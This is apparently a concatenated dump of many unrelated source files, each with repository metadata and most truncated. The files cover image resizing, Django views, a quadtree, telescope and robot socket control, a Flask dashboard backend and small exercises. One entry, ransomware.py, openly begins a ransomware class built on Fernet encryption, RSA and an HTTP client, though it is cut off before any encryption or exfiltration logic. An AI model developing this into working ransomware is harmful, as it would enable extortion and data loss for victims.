c39a0271fb4421331c7fbd75ed39eb32758c3124 | bb67c9d90b51a377fe455abb13f457c299221c22 | /MuneebAhmedch3.py | 218025ff33ef95f87be2162770b1b40d3de0caa8 | [] | no_license | mshahmirkhan/Muneeb | 8289491cc93cc3b5fc365bbec597c1feba525eca | 8b90774bd26c728cdfa3a7723843dc140a3632e3 | refs/heads/master | 2022-11-25T23:33:49.775223 | 2020-08-04T08:10:46 | 2020-08-04T08:10:46 | 281,017,475 | 0 | 2 | null | 2020-08-04T08:10:47 | 2020-07-20T04:57:58 | Python | UTF-8 | Python | false | false | 385 | py | MuneebAhmedch3.py | import cv2
# image resize and croping
img = cv2.imread("Resources/image.png")
cv2.imshow("Image ",img)
print(img.shape)
# shape for heigh and width
# app is resized img
# first width then height
app= cv2.resize(img,(300,300))
cv2.imshow("Resized",app)
print(app.shape)
# croping
#first height and then width
crop = im... |
e4a4194fc13272f778637b5ac5d798609d176fd9 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03607/s211335660.py | 9663dcc41f7182f7ceb29699ee008cac0e4e1663 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 191 | py | s211335660.py | import collections
N= int(input())
A = sorted(list(int(input()) for i in range(N)))
c = collections.Counter(A)
count = 0
for v in c.values():
if v%2 !=0:
count +=1
print(count) |
353505151e9451c2dbcc5cddb21fc58ce1d40b15 | 0c8bcd3e7a363f91434ac07a755bf37a5cbc6014 | /main.py | 29a1cacabb87025536bb762c9738142a89f7ea2a | [] | no_license | Sakil-Mahmud0/Day-6 | 136a1ab628f61258b1093092956e9a1a75f4ed1d | 72fa0f9efe9393e14c1a1e3a21d88b8040c6fa9e | refs/heads/main | 2023-08-30T19:21:19.810585 | 2021-11-09T14:56:45 | 2021-11-09T14:56:45 | 426,271,548 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 87 | py | main.py | def my_function():
print("Hello ")
print("How are you")
my_function()
my_function() |
d21b0b6c2977ad2d87297e34051f99aba64cf0de | e6483f350aabfff7fdb679e69173e0cd90a884c6 | /mysite/views.py | 7a3d3e0c8fd41f16512033d9ed5cd740d8adfceb | [
"MIT"
] | permissive | InfoAgeTech/django-starter | 7f9802dd351c00e88e98c280be73caa26975521d | 2a394e989817abda9da5e1ee0033930db0f8bbee | refs/heads/master | 2021-01-18T14:22:07.954308 | 2014-02-03T13:26:55 | 2014-02-03T13:26:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 517 | py | views.py | # -*- coding: utf-8 -*-
from django.views.generic.base import TemplateView
from django.views.generic.edit import FormView
class HomeView(TemplateView):
template_name = 'index.html'
class FAQView(TemplateView):
template_name = 'faq.html'
class TermsView(TemplateView):
template_name = 'terms.html'
cla... |
a32a5ac5ca268cc73edeee527ed296052c896e56 | 72e31cf9d97c2447d0af8e620721679a34eace33 | /quadtree/quadtree.py | 671024a54022338df325757f41785632fac7782e | [] | no_license | wenbu/kicad_utils | fb3c2ca2ae1df7f94d95416e9eb3165620fd2640 | 6ef66a507ca413f40ec5c6fd055bf45f6784f07e | refs/heads/master | 2021-01-20T09:59:41.594988 | 2018-05-07T06:45:01 | 2018-05-07T06:45:01 | 101,615,740 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,968 | py | quadtree.py | '''
Quadtree
'''
import math
from nodes.Segment import Segment
from nodes.Via import Via
from nodes.Module import Module
MAX_NODE_SIZE = 5
EPSILON = 0.001
DEBUG = False
def _log(msg):
if DEBUG:
print msg
class Quadtree(object):
def __init__(self):
self.root = QuadtreeNode(... |
3ff02fbbc47beb50976fed65bd39cf827d26dcf3 | cc334cd3d8420bcbebade4b4d66e06d8e380c5d3 | /tests/test_pnictogen.py | ddc13eaf5d35bf6f58b00f23b4907fb5e331ff55 | [
"MIT"
] | permissive | berquist/pnictogen | ee528c93ab490d85ebdf8d1b54653d8239190482 | 8b2f383fdfa554abaccc077d858e18e6896fc6bc | refs/heads/master | 2020-03-23T17:11:07.773229 | 2018-07-24T22:31:51 | 2018-07-24T22:31:51 | 141,847,461 | 0 | 0 | null | 2018-07-21T21:37:12 | 2018-07-21T21:37:12 | null | UTF-8 | Python | false | false | 9,563 | py | test_pnictogen.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from glob import iglob
import pybel
from nose.tools import assert_equals
from contextlib import contextmanager
from pnictogen import argparser, main, pnictogen, update_data
# Only testing xyz files because I trust Open Babel to handle other file types
example_x... |
b43ecaeced0d1b9454e722d144688d92be8c44be | ea11a69978dc46bb9b76bc46826d08a62213d98b | /Algorithms Implementation Encryption.py | a033185b345ae89e4945d2c1e691194de8d40ceb | [] | no_license | ARAV0411/HackerRank-Solutions-in-Python | e2717896721d03a3bc724660cdeb1ffc60d7d5bc | debcd474c0b94dc3854f39345501936a645572eb | refs/heads/master | 2022-04-25T20:20:14.714364 | 2019-10-13T18:48:13 | 2019-10-13T18:48:13 | 259,860,096 | 1 | 0 | null | 2020-04-29T07:51:02 | 2020-04-29T07:51:01 | null | UTF-8 | Python | false | false | 434 | py | Algorithms Implementation Encryption.py | import math
s=raw_input()
code=s[:]
l=len(s)
columns=int(math.ceil(l**(0.5)))
rows=int(columns)-1
if rows*columns<l:
rows=columns
grid=[]
for i in range(rows):
grid.append(code[:columns])
code=code[columns:]
encrypted=''
for i in range(columns):
for j in range(rows):
if i<... |
02d6429ddd4a88382cbd681f6e675aa3113b2f40 | 4bb1a23a62bf6dc83a107d4da8daefd9b383fc99 | /work/abc147_d.py | 622a14de934116445e1e0c6d9f7791193b1e4862 | [] | no_license | takushi-m/atcoder-work | 0aeea397c85173318497e08cb849efd459a9f6b6 | f6769f0be9c085bde88129a1e9205fb817bb556a | refs/heads/master | 2021-09-24T16:52:58.752112 | 2021-09-11T14:17:10 | 2021-09-11T14:17:10 | 144,509,843 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 259 | py | abc147_d.py | # -*- coding: utf-8 -*-
MOD = 10**9 + 7
n = int(input())
al = list(map(int, input().split()))
b = [0]*100
for a in al:
for i in range(100):
b[i] += (a>>i)&1
res = 0
for i in range(100):
res += b[i]*(n-b[i])*(1<<i)
res %= MOD
print(res) |
4616a92fde4b56def656af06cfb143c64449219b | 919f8cca92ac3dd8f7a25d7e967b0a809ef58899 | /ransomware.py | aa153a300d9700f3126c1f7b70ccdfae1636e1ea | [] | no_license | MihaelAndel/sis-projekt | 7bba3548c4a51f2f6bf742886c7983c518cc70e7 | aa1bc75f4ec5d3da5aa14a84ba3be969f15a2fe3 | refs/heads/master | 2020-12-12T09:45:45.660954 | 2020-01-15T14:50:16 | 2020-01-15T14:50:16 | 234,102,168 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,497 | py | ransomware.py | import os
from os.path import expanduser
from cryptography.fernet import Fernet
import base64
import http.client
import rsa
import json
class Ransomware:
def __init__(self, key=None):
self.key = key
if(key):
self.cryptor = Fernet(key)
else:
self.cryptor = None
... |
1db26e35429e4e4312e336010ebfd5bbb7ff455d | 637b61857ff8b13abaf5afbefcb4d7f8be0aaeb9 | /learners/customLossNN.py | fb422d38356ebd9e85dd939d1a41917475c6d9d7 | [] | no_license | gawain93/CL | d214741fba1c5c7a38f3f9cd230c379dd324cc82 | 73930d613f4fca0a553f24ca78a95f6ddf1902d5 | refs/heads/master | 2021-01-16T10:42:37.060836 | 2020-02-25T19:48:29 | 2020-02-25T19:48:29 | 243,087,764 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,341 | py | customLossNN.py | # -*- coding: utf-8 -*-
"""
Created on Mon Feb 24 11:01:12 2020
@author: user
"""
from __future__ import print_functions
import torch
import torch.nn as nn
import models
from utils.metric import accuracy, Averagemeter, Timer
"""
A simpler version without multihead networks
Simple network architecture for classifica... |
fbc97df2dc32fd8f492501bc4edad40733539301 | 271efd7794c1fb74659949a79d4ff90bb8aae003 | /Web_Telescope/Goto_Stellarium.py | 236c45fe055104d40b2f7cfb779e86a039b28464 | [] | no_license | YugnatD/Astrophotography-Assistant | 7bbdfc26142bd4e63d0ce7146fdb8054eec6d9b2 | eb52e4fdf72588c066802461f2b36c16a9c9a670 | refs/heads/master | 2022-09-20T13:23:17.165262 | 2022-08-31T17:18:39 | 2022-08-31T17:18:39 | 193,212,184 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,977 | py | Goto_Stellarium.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct
import time
import socket, select
import serial
import time
from math import *
M_PI = 3.1415926535897932385
MOVE_SPEED = 59
flagPosition=1
UNITE_DEPLACEMENT = 49843#correspond a 15.04"arc
DEPLACEMENT_SECONDS_DEC = UNITE_DEPLACEMENT * MOVE_SPEED
DEPLACEMENT_S... |
4bd9b4f945396c6a308a1850ea9994097c08aa4a | 00ceca863fb928e05f10c5134011546d91854a63 | /dp19app/apps.py | 5cf6a21b2c5bb3ac27ffc210eadaaefa30ce106e | [] | no_license | mrabhie/dp19 | 156a57fc259e336bb024bff9cb977d3c27612981 | f437d6234ed388beabc85d33d4a57aa8558f2e6a | refs/heads/master | 2022-12-05T16:55:08.818772 | 2020-08-24T17:54:35 | 2020-08-24T17:54:35 | 289,322,332 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 89 | py | apps.py | from django.apps import AppConfig
class Dp19AppConfig(AppConfig):
name = 'dp19app'
|
52cbd81a7f102048b58a170295306d0cd4cdfdbb | 7499ee68fa6bfb67135a96d2dc77530a828be1b0 | /script.py | e300eef8b7ea76f9e75c1b81198aafe6fc94343e | [] | no_license | mamatmania-iidx/raspi-lifx-switch | 41ce57c0473a5c9b13734a558625dcec5b957925 | c508263b8c73f7de4ce3a4260b21307e882276fd | refs/heads/main | 2023-08-22T18:45:52.415144 | 2021-10-26T10:29:44 | 2021-10-26T10:29:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,173 | py | script.py |
from gpiozero import Button
from time import sleep
from lifxlan import LifxLAN, Group
from button_processor import ToggleButtonProcessor, SceneButtonProcessor
from configparser import ConfigParser
config = ConfigParser()
config.read('config.ini')
button_config = {}
was_held = False
def held(button):
global was... |
575bcde98ff96305be90228c66be245fef48bea1 | 0406451ef07b9565f9884931460ea8ce5a0c8045 | /skins/iktforum/addComment.py | fe23a337fae8dfcd954f67f3a4ba03a291198dce | [] | no_license | ksiktforum/ksiktforum | c8b44db0bcd9922eeff912d8fdba242d534a677e | ad5ba574d1cc3eb64ef47a46f715958d88e98ae1 | refs/heads/master | 2020-06-03T11:23:13.250696 | 2010-09-03T07:43:44 | 2010-09-03T07:43:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,038 | py | addComment.py | # -*- coding: utf-8 -*-
from Products.ksiktforum import psis
from Products.stripogram import html2text, html2safehtml
import DateTime
errors = [] ## If any problems with the form is detected, the error-messages will be added to this list.
formErrorMsg = u"" ## This will be set to a user-readable error-message if the ... |
dd088906e30ee107bf9ef1358a32d3643270bbca | d630b63b2917d6ef4b82dde06e4ac1e9df9cdc0b | /Jeppe_projekt/robotprogrammer.py | da9175ab023aa7573cc815f822c77624932eb9b0 | [] | no_license | ProgrammeringOTGDKlassen/D-klassen-Programmering | eb0a42cb2f8b5128075d640855c39358bc62e151 | 9f19ab33fb0769d1b9e507fea4182cab0eccfcfc | refs/heads/master | 2023-03-11T09:48:09.889450 | 2023-02-23T11:23:06 | 2023-02-23T11:23:06 | 161,041,550 | 5 | 0 | null | 2020-05-03T22:10:28 | 2018-12-09T13:20:45 | Python | UTF-8 | Python | false | false | 5,187 | py | robotprogrammer.py | import socket
class Robot_programmer():
def __init__(self):
#Socket til at sende kommandoer til robotten
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.settimeout(10)
self.connected = False
def connect(self, ip='10.130.58.13', simulate=False):
... |
6d720f992e4aa2d8f31ba1a2d66d488b0142edd9 | 9f6ffa757d64b6c629d0c3ffa64c65ead633b354 | /simplemooc/courses/migrations/0003_auto_20200619_1258.py | 86135b511acdaa08749f25de0aaeda1518106a33 | [] | no_license | AdrianoCarvalh0/simplemooc | df2406645ace922545a7325bf8f14d5c752d80aa | 5bad385adf41cd11755b7e52267d652ccca8e57d | refs/heads/master | 2022-11-26T14:02:16.552814 | 2020-07-22T00:51:19 | 2020-07-22T00:51:19 | 271,252,648 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 781 | py | 0003_auto_20200619_1258.py | # Generated by Django 3.0.7 on 2020-06-19 12:58
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('courses', '0002_auto_20200615_1640'),
]
operations = [
migrations.AlterModelOptions(
name='course',
options={'orderi... |
c39ade373ca0e17b1959e46e7e7ac01e17cc232c | e4917fe906d5347a3b98df8ac83896b132f02f94 | /backend/backend.py | b72770d427f34c1ba400ccff5f8117a8dea1d0cc | [] | no_license | Adrien-Auclair/serenytics-embedding-demo | 60c94befbf824cdfa9dbf393164b8f1c7ed29338 | 55b183a2b264243e2f08e3ceb51e46962148e290 | refs/heads/master | 2023-01-12T21:22:10.754134 | 2019-09-26T08:31:42 | 2019-09-26T08:31:42 | 211,033,509 | 0 | 0 | null | 2023-01-07T10:06:47 | 2019-09-26T07:59:45 | TypeScript | UTF-8 | Python | false | false | 1,342 | py | backend.py | from flask import Flask, Response
import json
import requests
app = Flask(__name__)
# Your backend must have a similar route
# it queries the Serenytics API to get a token for a dashboard
@app.route("/api/get_dashboard")
def get_dashboard():
YOUR_API_KEY = 'XXXXXXXX'
SERENYTICS_HOST = 'http://localhost:5000'
DASH... |
a96240e7393c61ce6a211f5826c7376a72a25fe5 | b2c66e279b02e3b993cdbd2bd00e3b227a5d199f | /bank/account.py | 9c66f665f458c0817e6cb0b53babc712f7821ba2 | [] | no_license | lucasfacchini/bank-api-assignment | d78a97724d48698f85570634b7d898ca0e3c2ee9 | 174fa2493c0628d2619a56d2262d621ce46ab972 | refs/heads/master | 2023-03-24T01:41:19.181804 | 2021-03-18T13:51:20 | 2021-03-18T13:51:20 | 340,791,961 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 678 | py | account.py | class Account:
def __init__(self, account_id):
self.id = account_id
self.statement = []
self.balance = 0
def deposit(self, value):
if value > 0:
self.statement.append({value: value})
self.balance += value
return True
return False
... |
8e64b20bc2f075aebedd86ae5bb1dfad9d932314 | c63e90b8baa88af9ddf4f3545a30502f76583851 | /comp.py | 3f7cf660f89248616e3ebc984bd8946ea2fd8102 | [] | no_license | central-yharnam/excel_util | 7a8b91c2bb681fca75d574d69e6d5940d7118a16 | be4e48064f43caa1f362ab288773090697e3881d | refs/heads/master | 2023-02-14T05:17:22.689969 | 2021-01-06T17:53:19 | 2021-01-06T17:53:19 | 327,385,402 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,004 | py | comp.py | # a utility to compare key value pairs in different excel files, assuming that they have the same index codes in each.
import pandas as pd
df_a = pd.read_excel('FAMIS-JEs Record Center 3RD Qtr 2020.xlsx', sheet_name = None)
df_a = pd.read_excel('test.xlsx', sheet_name = None)
df_famis = pd.concat(df_a, ignore_index=T... |
589ef3897bb8f5ee0d840779eb05d821e9bf565a | 3e35f21af57d1eae739f24043f44b38acf13d431 | /diplom/analyzer/Groups.py | 5e88b9facc0e48a825e5efefd5d37f6fb84915df | [] | no_license | Xyzzyall/Socionics | ec7278429d258b5e8ba3c0f13d2ab4f97a816699 | 89fb641fc1165a1fe44cf296b1aa8461f9408a18 | refs/heads/master | 2022-05-03T16:15:26.624852 | 2022-04-30T17:38:26 | 2022-04-30T17:38:26 | 222,735,926 | 1 | 0 | null | 2022-04-30T17:38:27 | 2019-11-19T16:06:23 | Python | UTF-8 | Python | false | false | 2,650 | py | Groups.py | from itertools import *
class Perms:
obj_before = None
left = 0
size = 0
i = 0
is_last = False
def __init__(self, before, size, is_last=False):
self.obj_before = before
self.size = size
self.left = 0
self.i = 0
self.is_last = is_last
def sum_chain(... |
d0057a84e07552d1aebf7fbe3beedc8ed14160a3 | ca500df9b99fcee11b4d57ea1b07a19caef32d25 | /djangoCoin/urls.py | ed8f00b2bac17bfead0477da65159a0d4a45f2f1 | [] | no_license | parinBo/coin-django | bbbd89ed951fdb1ecdefd4cdf4aa3067979ee305 | 94c9e954d08bf7d12a94864917b0a89feac9d6d0 | refs/heads/main | 2023-04-03T16:45:41.613202 | 2021-04-15T09:40:33 | 2021-04-15T09:40:33 | 347,699,286 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 621 | py | urls.py | from django.contrib import admin
from django.urls import path,include
from coin.Views import coinviews,homeviews
from django.contrib.auth import views
urlpatterns = [
path('admin/', admin.site.urls),
path('login/', views.LoginView.as_view(template_name='login.html'),name='login'),
path('logout', views.Logou... |
ed7da61ad22b23ca2b32f3d6a92fb5a30c61122e | bc224f75bfe7c43bfcf3bf013b2577526bf26fe7 | /build.py | 6079ef9e6ba9fef435b2d2f0598df1e28f34bfc6 | [
"MIT"
] | permissive | 44670/asr6501-open-sdk | 8f13ae8bf525cdfdc0f82cd5622c48e0ce81642d | b90c87e31e3afdf5b79514895bd88f3625159923 | refs/heads/master | 2020-12-15T21:49:30.351618 | 2020-02-02T10:31:56 | 2020-02-02T10:31:56 | 235,263,773 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 782 | py | build.py | import os
CFLAGS= ' --static -nostartfiles -std=c11 -g3 -Os'
CFLAGS += ' -fno-common -ffunction-sections -fdata-sections'
#CFLAGS += ' -I./libopencm3/include -L./libopencm3/lib'
CFLAGS += ' -Wl,--start-group -lc -lgcc -lnosys -Wl,--end-group'
CFLAGS += ' -Wl,-T ld.psoc4.basic'
CFLAGS += ' -Wl,--gc-sections'
#C... |
798089ebd64b9c25f3c84e3b50099d7c1cab8eb1 | 5ec3b1da7007fa72417242c793c904df05c35e1d | /polls/test.py | 609012eaf9c9a193279b7abbb15f900034a8062e | [] | no_license | vanhong/new_mysite | 5f612aa7fc881ad9720e7bef07de64f621d3c091 | 6e1d2bb1aa9d75f3140f16bfc11c24185033890d | refs/heads/master | 2021-01-17T11:43:16.322768 | 2018-11-05T14:51:31 | 2018-11-05T14:51:40 | 84,043,924 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,654 | py | test.py | import datetime
from django.utils import timezone
from django.test import TestCase
from django.core.urlresolvers import reverse
from .models import Question
def creation_question(question_text, days):
time = timezone.now() + datetime.timedelta(days=days)
return Question.objects.create(question_text=question_text, ... |
81e69f196a0621aa639bef812222eab97d9568d4 | 654b0850ea94f5941930ada928e91a5da9b0cf95 | /PvalOpt_DataFormat.py | 5d6f29986bfe05c9d31ca86c1d4c49fef1577558 | [] | no_license | hankdikeman/WeatherPred | d82411d6697a59dc99f889337a3c49501bbb7e6f | 5ad1491fc0915ac717ece62a2af110cf8ff13097 | refs/heads/main | 2023-07-04T03:41:17.203131 | 2021-08-12T01:59:39 | 2021-08-12T01:59:39 | 303,240,713 | 0 | 0 | null | 2021-01-15T01:43:59 | 2020-10-12T00:43:44 | Python | UTF-8 | Python | false | false | 1,938 | py | PvalOpt_DataFormat.py | """
This file is part of an investigation into the optimal interpolation weighting for inverse distance interpolation
Author: Henry Dikeman
Email: dikem003@umn.edu
Date: 07/15/21
"""
import pandas as pd
import numpy as np
from WeatherReq import get_weather
from StationReq import get_station_info
import d... |
b2b69dd5992855ad804c7134038761d7d24fc9ea | 31cde10cc10bfaba5cebd0638b201acc576ddb05 | /apps/hello/forms.py | 039626bbf49ca2f700f7503f9b9c554adc782da4 | [] | no_license | Toyto/FortyTwoTestTask-1 | 26e607b879d0a7b0d62188c3ba0781cf7d2984e2 | 92ce03068867ddc05f2a8b3cb5a94da02735902f | refs/heads/master | 2021-01-14T13:40:48.928671 | 2015-07-25T09:17:00 | 2015-07-25T09:17:00 | 38,188,957 | 0 | 0 | null | 2015-06-28T06:21:43 | 2015-06-28T06:21:43 | null | UTF-8 | Python | false | false | 1,246 | py | forms.py | from django import forms
from .models import About_me, AllRequests
from django.core.exceptions import ValidationError
from django.core.validators import validate_email
from datetime import date
current_year = date.today().year
class AuthorForm(forms.ModelForm):
class Meta:
model = About_me
widget... |
b86f7dbac70c6b7393f7bc89027b478c03c55b2a | 9bce0c738f5f2abb5db6bd0a9e64545659862049 | /{{cookiecutter.project_name}}/rplugin/python3/{{cookiecutter.plugin_prefix}}/{{cookiecutter.plugin_prefix}}.py | e56442ceda9bbe62521d95928e1fe13a345dea3b | [
"MIT"
] | permissive | FGtatsuro/cookiecutter-neovim-plugin | 988ad31611ec6fcc3e114f778c867ad96e9bdecb | ec2c79b0b3c208eb4b68da3e5f85fadf327d2ad9 | refs/heads/master | 2020-03-23T04:04:55.011711 | 2018-08-03T03:41:30 | 2018-08-03T03:41:30 | 141,064,402 | 3 | 0 | MIT | 2018-08-03T03:41:37 | 2018-07-15T23:04:47 | Python | UTF-8 | Python | false | false | 390 | py | {{cookiecutter.plugin_prefix}}.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
class {{cookiecutter.plugin_prefix|capitalize}}Handler():
def __init__(self, nvim):
self.nvim = nvim
def handle(self, arg, text):
firstline = text.split('\n')[0]
self.nvim.command(f'echo "arg:{arg}/text:{firstline}"')
# https://wiki.pyth... |
a3f931ad4e39717ab919dacbf7468c720a62aafb | d9fdc75ef0a691751f25b53e22e0e87106425ad8 | /seleccionar_diarios/models/account_invoice.py | bd7b9e6395ecaf72c279fef777c4d62c34b1f382 | [] | no_license | izzihector/la_continental_odoo12 | c5084570aa55fd6d9d30a25c7c8b5d1e20f4d1b4 | b8e8c58c118a35705c8f755005f022fbe5658630 | refs/heads/master | 2023-03-17T00:50:41.333365 | 2020-01-03T20:02:00 | 2020-01-03T20:02:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,780 | py | account_invoice.py | # -*- coding: utf-8 -*-
from odoo import api
from odoo import fields
from odoo import models
from odoo.exceptions import UserError
from odoo.exceptions import ValidationError
class DiarioNotaRemision(models.Model):
_inherit = 'account.invoice'
journal_id = fields.Many2one(
... |
d77bbf9b00680dc70b419dcfa3688c1c0b454a86 | e973da9095f25cf383649a42c404f39626d2127e | /Python/week-3-4.py | a344aaf2e74d5aa17a86616bdbdb13012cab30e8 | [] | no_license | legendsovermyths/DSA | 5659e3d8f63b165293b61697bf08f692f54c78a8 | 7038167b98833a688b41157799c2a3cc25ff2be2 | refs/heads/master | 2023-09-02T17:46:43.271062 | 2021-10-16T18:53:31 | 2021-10-16T18:53:31 | 299,421,002 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 175 | py | week-3-4.py | i=int(input())
sum=0
lst1=list(map(int,input().split()));lst1.sort()
lst2=list(map(int,input().split()));lst2.sort()
for i in range(i):
sum=sum+lst1[i]*lst2[i]
print(sum)
|
413bb29e2cb43b762f805c92a3f44fb5d620d7e8 | 371e4cd480150227f091f6a85a3a07abab1c033a | /preprocess.py | 5f7a9def000c11396a37a18e8a1542cfe4819a4d | [] | no_license | johndpope/manGANime | 492b42ca254fd5a2a492b4628110da800d45504a | 05533e05801a4b3d40a3e1f9201bcd256d339d92 | refs/heads/master | 2023-04-19T14:36:27.515923 | 2021-05-07T18:04:00 | 2021-05-07T18:04:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,334 | py | preprocess.py | import argparse, os, subprocess, glob, json
import pims
import av
import skimage
from skimage import io
from skimage.transform import resize
from PIL import Image
import cv2 as cv
import numpy as np
import torch
from torchvision import transforms
MANGA_SIZE = 256
MANGA_EXT = "png"
ANIME_SIZE = 256
ANIME_EXT = "mp4"
... |
3bf30375920c9b43804408ec886c2116d59f6e5f | c8c99575a2a57859ef769aa9511527f3f68d06ea | /hashtables/ex1/ex1.py | 125d0124e0ec8fce788c6cd5e1c69b9405666aa5 | [] | no_license | willstauffernorris/hash_sprint2 | 9ab40373f63763cd6f72ee921944de23c0ae8810 | 99a99229a48f80b5c3dd0190a3583bb8fa72b0d3 | refs/heads/master | 2022-11-29T07:34:19.867518 | 2020-08-07T17:52:21 | 2020-08-07T17:52:21 | 285,877,922 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,445 | py | ex1.py | #Given a package with a weight limit limit
#a list weights of item weights
# implement a function get_indices_of_item_weights
def get_indices_of_item_weights(weights, length, limit):
"""
finds two items whose sum of weights equals the weight limit limit.
will return a tuple of integers tha... |
14c3d0b9b9552e0d4a1b6b11123c78633d2461ae | c318e38f0d3d24c66b813fbc9232c35d98e1ef9f | /Lesson_04/Task_01.py | 200a5bf709e61b6fe3bf7c7726e3a08560da1b92 | [] | no_license | MoNaX667/PythonCourses | df0b2fd5d9bff4167b2334feb20b991e977b2217 | d98a0b3261690e20ec3ab5500ca7ecb5e498c71e | refs/heads/master | 2023-06-08T04:35:10.782303 | 2021-07-04T10:38:54 | 2021-07-04T10:38:54 | 382,824,070 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,365 | py | Task_01.py | # Реализовать скрипт, в котором должна быть предусмотрена функция расчета заработной платы сотрудника.
# В расчете необходимо использовать формулу: (выработка в часах*ставка в час) + премия.
# Для выполнения расчета для конкретных значений необходимо запускать скрипт с параметрами.
import sys
def calculate_salary(pri... |
e58f704e39aed4d72c2bfc0100db5c167e877583 | 46598841561823a38533ad9381d8d7f704f6842e | /poker/RandomForest.py | b258a78e9576ca59f1750d4e09f4601098dfc63d | [] | no_license | barsanayak/DecisionTree | 00301049d49e7bd28b8e83bdb85eb9daeb297a51 | 27bdb22c58d853afe5d24c9b3aa642f457d9b311 | refs/heads/master | 2021-05-15T21:23:08.049552 | 2017-11-01T19:00:57 | 2017-11-01T19:00:57 | 106,354,389 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,434 | py | RandomForest.py | import pandas as pd
from sklearn.model_selection import train_test_split
import scipy as sc
import numpy as np
from .DecisionTree import Tree
class Forest:
def __init__(self, x_train, y_train, default, tree_count=10):
self.x_train = x_train
self.y_train = y_train
self.default = default
... |
fe72aa44472ca2ee61634228e44c639e2269196e | f4a143c838d62ec0f81ce6599b5ad662fa07854c | /models/performance.py | 3422082f833529c72b8f8e103f960f6fb2dfbc15 | [] | no_license | sudhirj/culcal | 472b3f3e59e059e07f1406e2abcaae681777cd96 | a842d0ca9a7fb4e83edd3ce93634910b006c2090 | refs/heads/master | 2020-06-07T12:40:19.434896 | 2010-02-04T14:54:32 | 2010-02-04T14:55:12 | 152,142 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,439 | py | performance.py | from google.appengine.ext import db
from show import Show
from venue import Venue
from city import City
from company import Company
import base, datetime
class Performance(base.Entity):
show = db.ReferenceProperty(Show, collection_name='performances', required=True)
utc_date_time = db.DateTimeProperty(required... |
b94fcf78a87872ad2fed2713cd4ecbe9a30f283f | 16fd1d27db50e1dcbcdd2ece09eb426aa7f38030 | /semaeval/engine/bitext/bitext.py | 48c354b1cb65d9eed96216e7e6f8771e277c3b8d | [
"MIT"
] | permissive | asmaier/semaeval | 9df2d04cffbe3ed68af3bd8c57d8408ca850bce3 | d57814e9f0719ea4a3ae13db1ef7c84d37b6ef4e | refs/heads/master | 2021-05-28T18:42:02.791051 | 2015-04-28T09:46:05 | 2015-04-28T09:46:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,344 | py | bitext.py | # -*- coding: utf-8 -*-
import requests
from ... import config
if "bitext" in config.engines:
user = config.engines["bitext"]["user"]
passwd = config.engines["bitext"]["passwd"]
labels = config.engines["bitext"]["labels"]
langs = config.engines["bitext"]["langs"]
def convert_label(label):
if label in labels:
... |
80e16cf4cb3be70ea8bdead5d4a8d185f10ac08f | 3b786d3854e830a4b46ee55851ca186becbfa650 | /SystemTesting/pylib/vmware/schema/switch/vtep_table_schema.py | d52b050503e0d98f82848bffe5d3b0db6dc10710 | [] | no_license | Cloudxtreme/MyProject | d81f8d38684333c22084b88141b712c78b140777 | 5b55817c050b637e2747084290f6206d2e622938 | refs/heads/master | 2021-05-31T10:26:42.951835 | 2015-12-10T09:57:04 | 2015-12-10T09:57:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,581 | py | vtep_table_schema.py | import doctest
import vmware.common.base_schema as base_schema
class VtepTableSchema(base_schema.BaseSchema):
"""
Schema class for Vtep Table.
>>> import pprint
>>> py_dict = {
... 'table': [{'adapter_ip': '192.168.1.2'}]}
>>> pprint.pprint(VtepTableSchema(
... py_dict=py_dict).get... |
04bf66a13cb483bf7c95cabb13ef82924db4ce2c | 1b5e6716a68e02106e77e86215d18731d523a1c0 | /WelcomePage.py | a602a1b8dd0f24c220c9160a0c611f82a1d87537 | [] | no_license | malachibre/UniRoutes | 60039fd2b72b13e63172bfc59972e4fb827c78ac | bafe71c547d7842d86fc932d7cad67fed13433fd | refs/heads/master | 2020-06-23T00:43:27.963277 | 2019-10-15T02:14:16 | 2019-10-15T02:14:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 856 | py | WelcomePage.py | <div id="displayName"></div>
<script type="text/javascript">
var clientContext = new SP.ClientContext(_spPageContextInfo.webServerRelativeUrl);
var user = clientContext.get_web().get_currentUser();
clientContext.load(user);
clientContext.executeQueryAsync(onUserNameSuccess, onUserNameFail);
function onUserNameSuccess... |
